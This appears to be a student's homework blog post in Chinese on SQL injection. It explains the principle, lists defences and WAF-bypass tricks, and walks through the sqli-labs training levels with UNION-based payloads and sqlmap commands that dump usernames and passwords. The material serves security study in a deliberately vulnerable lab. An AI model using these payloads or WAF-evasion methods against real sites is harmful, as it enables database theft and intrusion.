第五天作业

目录

一、SQL注入原理

二、SQL注入常用函数

三、SQL注入防御手段

四、SQL注入常用绕过waf方法

五、sqli-labs通关前5关

第一关

第二关

第三关

第四关

第五关

六、总结SQLi的手工注入的步骤

七、使用sqlmap通过或验证第六关


一、SQL注入原理

        SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

SQL注入式攻击的主要形式有两种:

        一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。上面笔者举的例子就是采用了这种方法。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法。

        二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“—”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不背编译与执行。

二、SQL注入常用函数
 

version()                       Mysql版本
user()                          数据库用户名
database()                      数据库名
system_user()                   数据库用户名
session_user()                  连接数据库的用户名
current_user()                  当前用户名
load_file()                     读取本地文件
@@datadir                       读取数据库路径
@@basedir                       mysql安装路径
@@version_complie_os            查看操作系统版本
 
information_schema              自带数据库
information_schema.schemata     数据库
information_schema.tables       数据表
information_schema.columns      数据列
floor()                         返回小于等于该值的最大整数
RAND()                          在0和1之间产生一个随机数
join()                          实现表的连接
length(str) : 返回给定字符串的长度,如 length("string")=6
​
substr()、stbstring()、mid() :三个函数的用法、功能均一致
​
concat(username):将查询到的username连在一起,默认用逗号分隔
​
concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接
​
group_concat(username) :将username所有数据查询在一起,用逗号连接
​
limit 0,1:查询第1个数 limit 1,1:查询第2个数
 
order by 4          -- 判断有多少列
​
union select 1,2,3  -- 判断数据显示点
​
union select 1,user(),database()      -- 显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3   -- 查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3                -- 查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3                              -- 查看账号密码信息

三、SQL注入防御手段

1. 使用参数化查询

使用参数化查询可以防止SQL注入攻击,并提高代码的可读性和可维护性。
2. 输入验证和过滤

输入验证和过滤是一种用于确保用户输入数据的安全性和有效性的技术。它可以防止恶意输入和错误数据导致的安全漏洞和应用程序错误。

3. 使用存储过程

存储过程是一组预定义的SQL语句集合,可以在数据库中进行重复性和复杂性的操作。它们可以接受参数,并且可以在数据库中进行重复使用。

4. 最小权限原则

最小权限原则是一种安全性原则,指的是为了保护敏感数据和系统资源,用户应该被授予最小必需的权限。这意味着用户只能访问和执行他们工作所需的数据库对象和操作,而不是拥有对整个数据库的完全访问权限。

5. 使用ORM框架

ORM(对象关系映射)框架是一种将对象模型和关系数据库之间进行映射的技术。它允许开发人员使用面向对象的方式操作数据库,而不需要编写繁琐的SQL语句。ORM框架将数据库表映射为对象,将表的行映射为对象的属性,将表之间的关系映射为对象之间的关联。

ORM框架的优点包括提高开发效率、减少代码量、简化数据库操作、提供对象级别的查询和持久化等。

6. 使用准备语句

准备语句(Prepared Statement)是一种预编译的SQL语句,它允许开发人员将参数化查询发送到数据库,并在执行时提供参数值

7. 使用安全的数据库连接

使用安全的数据库连接是非常重要的,可以保护数据库免受恶意攻击和数据泄露。

8. 避免动态拼接SQL语句

避免动态拼接SQL语句是为了防止SQL注入攻击和提高代码的可读性和可维护性。

9. 使用防火墙和入侵检测系统

使用防火墙和入侵检测系统是为了保护计算机网络免受未经授权的访问和恶意攻击。

10. 定期更新和维护数据库软件

定期更新和维护数据库软件是非常重要的,以确保数据库的安全性、性能和功能的稳定性。

四、SQL注入常用绕过waf方法

1. 提交方式变换

许多WAF主要过滤GET请求,而忽略POST请求、Cookie、HTTP头等其他提交方式。可以尝试通过不同的提交方式发送攻击载荷。

2. 大小写替换和编码绕过

利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷,通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码,以绕过WAF的过滤规则。

3. 事件函数变换

WAF会重点识别触发JavaScript代码执行的事件函数字段,如`onclick`。通过变换事件函数名称或利用其他不常见的事件函数,可以尝试绕过WAF的识别。

4. 注释符和内联注释

使用SQL注释符(如 `--`、`#`)或HTML/JavaScript注释(如 `<!-- -->`、`//`)来绕过WAF对特定关键字的过滤。有时,将攻击载荷与注释符结合使用,可以欺骗WAF使其忽略部分攻击载荷。

5. 分片传输

通过调整HTTP请求中的 `Content-Length` 头部,将攻击载荷分成多个部分发送,可能导致WAF无法完整解析请求内容,从而绕过检测。

6. 利用WAF软肋

WAF在部署时可能因性能考虑而留下一些软肋,如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为,可能发现并利用这些软肋进行绕过。

7. 爬虫白名单绕过

部分WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模拟爬虫行为)可能绕过WAF的检测。

8. 高并发流量攻击

通过发送大量垃圾数据或高并发请求,使WAF设备进入Bypass IPS模式或达到性能极限,从而暂时或永久性地绕过WAF的防护。

五、sqli-labs通关前5关

第一关

判断是否存在sql注入

输入数值不同,返回的值也不同

判断sql语句是否是拼接,且是字符型还是数字型

可以根据结果指定是字符型且存在sql注入漏洞。

接下来进行联合注入,

第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数

?id=1'order by 3 --+

第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

第三步:获取当前数据名和版本号。

?id=-1'union select 1,database(),version()--+

第四步: 爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

第五步:爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

第二关

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

加注释还是提示报错,证明是数字型

只需将第一关id=1后面的’去掉即可。

第三关

当我们在输入?id=1'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

1、判断表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列无回显,说明表中一共有 3 列

?id=1') ORDER BY 4--+

2、判断数据显示点,使用 UNION 进行组合查询

?id=-1') union select 1,2,3--+

(1)爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行查询

?id=-1') union select 1,database(),version()--+

(2)爆表名,使用 group_concat() 函数合并查询结果

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(3)爆 users 表的字段

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

(4)爆用户名、密码,内容

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

第四关

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道要闭合什么符号,输入id=1'是不会报错,字段本身是int类型

找列数

?id=1") order by 3 --+

?id=1") order by 4 --+

确定哪个字段有回显

?id=-1") union select 1,2,3 --+

确定当前数据库

?id=-1") union select 1,2,database() --+

爆出当前数据库内的所有表名

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆出当前数据库user表的所有列名

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

爆出当前数据库user表所有username和password

?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

第五关

用单引号进行测试,页面返回报错信息

注释掉后面的sql语句,经过多次修改id的值后发现页面没有回显点

查看源码,发现当数据正确时不会有输出,但是当数据有错误时会报错。判断这里要根据是否报错来进行盲注,此处可借助sqlmap进行盲注。

六、总结SQLi的手工注入的步骤

1. 确认存在SQL注入漏洞

在输入框中填入一些闭合的符号,看页面是否异常。例如: ; ; ’) ; ”),如果页面发生错误,则证明存在SQL注入漏洞。

2. 判断字段数

使用 ORDER BY语句来判断字段数。例如:?id=1 ORDER BY 3--+

如果返回正常,说明至少有3个字段。继续增加数字,直到出现错误,确定字段数。

3. 判断回显点

使用 UNION SELECT 语句找到回显点。例如:?id=-1 UNION SELECT 1,2,3--+

观察哪个字段在页面上显示出来。

4. 查询当前数据库

使用 UNION SELECT 查询当前数据库名和版本号。例如:

?id=-1 UNION SELECT 1,DATABASE(),VERSION()--+

5. 查询表名

查询当前数据库中的所有表名。例如:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+

6. 查询字段名

查询特定表中的所有字段名。例如:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'--+

7. 查询数据

查询特定表中的数据。例如:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(username,0x3a,password) FROM users--+

七、使用sqlmap通过或验证第六关

在sqlmap目录下打开Windows PowerShell,输入以下命令,使用sqlmap进行扫描

python sqlmap.py -u "http://sqli-labs/Less-6/?id=1" --batch

可以看到可进行布尔盲注、报错注入、时间盲注。

输入以下命令获取数据库名:

python sqlmap.py -u "sqli-labs/Less-6/?id=1" --current-db

输入以下命令获取表名:

python sqlmap.py -u "sqli-labs/Less-6/?id=1" -D security --tables

输入以下命令获取列名:

python sqlmap.py -u "sqli-labs/Less-6/?id=1" -D security -T users --columns

输入以下命令获取数据:

python sqlmap.py -u "sqli-labs/Less-6/?id=1" -D security -T users -C id,password,username --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值